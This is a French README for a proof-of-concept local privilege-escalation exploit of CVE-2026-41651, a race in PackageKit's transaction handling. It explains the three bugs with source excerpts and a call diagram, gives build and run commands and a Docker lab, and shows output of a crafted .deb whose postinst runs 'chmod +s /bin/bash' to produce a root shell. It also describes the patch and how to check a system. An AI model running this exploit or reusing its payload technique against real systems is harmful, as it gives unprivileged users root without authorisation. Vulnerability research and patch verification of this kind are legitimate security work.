
Exploite une course TOCTOU dans le gestionnaire de transactions de PackageKit pour installer des paquets arbitraires en tant que root, réalisant une élévation de privilèges locale et un shell SUID sans authentification.
Condition de concurrence TOCTOU dans le gestionnaire de transactions de PackageKit. Tout utilisateur local non privilégié peut installer des paquets arbitraires en tant que root sans authentification.
| Champ | Valeur |
|---|---|
| CVE | CVE-2026-41651 |
| Composant | Démon PackageKit (packagekitd) |
| Versions affectées | 1.0.2 – 1.3.4 |
| Corrigé dans | 1.3.5 |
| Impact | Élévation de privilèges locale → root |
| Authentification requise | Aucune |
| Interaction utilisateur | Aucune |
| Testé sur | Ubuntu 24.04, Debian 12 |

Trois bugs dans src/pk-transaction.c s'enchaînent pour créer une fenêtre TOCTOU entre l'autorisation et l'exécution.
InstallFiles() écrase inconditionnellement cached_transaction_flags et cached_full_paths, sans vérification d'état :
transaction->cached_transaction_flags = transaction_flags;
transaction->cached_full_paths = g_strdupv (full_paths);
pk_transaction_set_state() ignore silencieusement les transitions arrière. Les flags sont déjà écrasés, mais l'état reste inchangé :
if (transaction->state != PK_TRANSACTION_STATE_UNKNOWN &&
transaction->state > state) {
g_warning ("cannot set %s, as already %s", ...);
return;
}
pk_transaction_run() lit les flags en cache au moment de l'ordonnancement (depuis l'idle de GLib), et non au moment de l'autorisation :
case PK_ROLE_ENUM_INSTALL_FILES:
pk_backend_install_files (transaction->backend,
transaction->job,
transaction->cached_transaction_flags,
transaction->cached_full_paths);
break;
Définir PK_TRANSACTION_FLAG_SIMULATE (bit 2, valeur 0x4) saute entièrement la vérification polkit :
if (pk_bitfield_contain (transaction->cached_transaction_flags,
PK_TRANSACTION_FLAG_ENUM_SIMULATE) || ...) {
pk_transaction_set_state (transaction, PK_TRANSACTION_STATE_READY);
return TRUE;
}
Attacker packagekitd
│ │
│ CreateTransaction() │
│─────────────────────────────────►│ state = NEW
│◄─────────────────────────────────│
│ │
│ InstallFiles(SIMULATE, dummy) │
│─────────────────────────────────►│ SIMULATE → polkit skipped
│◄─────────────────────────────────│ state = READY
│ │ g_idle_add(run_idle_cb) ← queued
│ │
│ InstallFiles(NONE, payload) │ [BUG 1] flags + paths overwritten
│─────────────────────────────────►│ [BUG 2] set_state(WAITING_FOR_AUTH)
│◄─────────────────────────────────│ → silently rejected
│ │ state stays READY
│ │
│ [idle fires]│
│ │ pk_transaction_run()
│ │ [BUG 3] reads NONE + payload
│ │ → dpkg installs payload as root
│ │ → postinst: chmod +s /bin/bash
│ │
│ execv("/tmp/.suid_bash -p") │
│─────────────────────────────────►│
│ euid=0(root) │
Les deux appels InstallFiles sont envoyés comme appels D-Bus asynchrones de type fire-and-forget avant que la boucle principale du client n'itère. Cela garantit que les deux messages arrivent dans la socket du serveur avant que l'idle GLib ne se déclenche — aucune course à gagner.
polkitd finit par renvoyer NOT_AUTHORIZED pour le second appel, mais d'ici là, APT a déjà lancé l'installation. L'erreur est attendue et sans incidence.
sudo apt install libglib2.0-dev
make
Aucune autre dépendance — les paquets .deb sont compilés en C pur à l'exécution.
./cve-2026-41651
═══════════════════════════════════════════════════
CVE-2026-41651 — PackageKit TOCTOU LPE
═══════════════════════════════════════════════════
[*] Building packages (pure C)...
[+] dummy : /tmp/.pk-dummy-47.deb
[+] payload : /tmp/.pk-payload-47.deb
[*] Transaction : /1_acdcacbe
[*] Step 1 : InstallFiles(SIMULATE=0x4, dummy) [async]
[*] Step 2 : InstallFiles(NONE=0x0, payload) [async]
[*] Waiting for dispatch (30 s max)...
[!] PK error 48: Failed to obtain authentication.
[*] Finished (exit=2, 10 ms)
[*] Polling for payload (120 s max)...
[+] SUCCESS — SUID bash at t+200ms
uid=1001(victim) gid=1001(victim) euid=0(root) groups=1001(victim)
.suid_bash-5.2# id
uid=1001(victim) gid=1001(victim) euid=0(root) groups=1001(victim)
euid=0 — tous les contrôles de privilèges du noyau utilisent l'UID effectif.
docker build -t cve-2026-41651 .
docker run -it --rm cve-2026-41651
L'image compile PackageKit 1.3.4 à partir des sources (commit 2149735, dernière version vulnérable), démarre dbus + polkitd + packagekitd, puis exécute l'exploit en tant qu'utilisateur non privilégié.
Note sur le g_assert : l'image Docker neutralise un garde-fou g_assert (!transaction->emitted_finished) dans pk-transaction.c. Sur un vrai système non corrigé, cette assertion se déclenche lorsque le thread d'APT tente d'émettre Finished après que polkitd l'a déjà fait, faisant planter le démon via SIGABRT. Le bash SUID est déjà sur le disque à ce stade, l'élévation de privilèges réussit donc — le crash est un DoS secondaire. packagekitd redémarre à la prochaine activation D-Bus.
Sur PackageKit ≥ 1.3.5, le second appel est rejeté :
[-] Target is PATCHED (PackageKit >= 1.3.5)
Le correctif ajoute un garde-fou d'état dans pk_transaction_method_call() :
if (transaction->state != PK_TRANSACTION_STATE_NEW) {
g_dbus_method_invocation_return_error (invocation,
PK_TRANSACTION_ERROR, PK_TRANSACTION_ERROR_INVALID_STATE, ...);
return;
}
pkcon --version
journalctl -u packagekit --since '5 min ago'